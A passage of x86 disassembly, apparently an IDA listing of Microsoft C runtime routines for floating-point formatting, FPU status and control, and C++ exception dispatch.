loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 26B05ACh
		nop
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26D0414h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
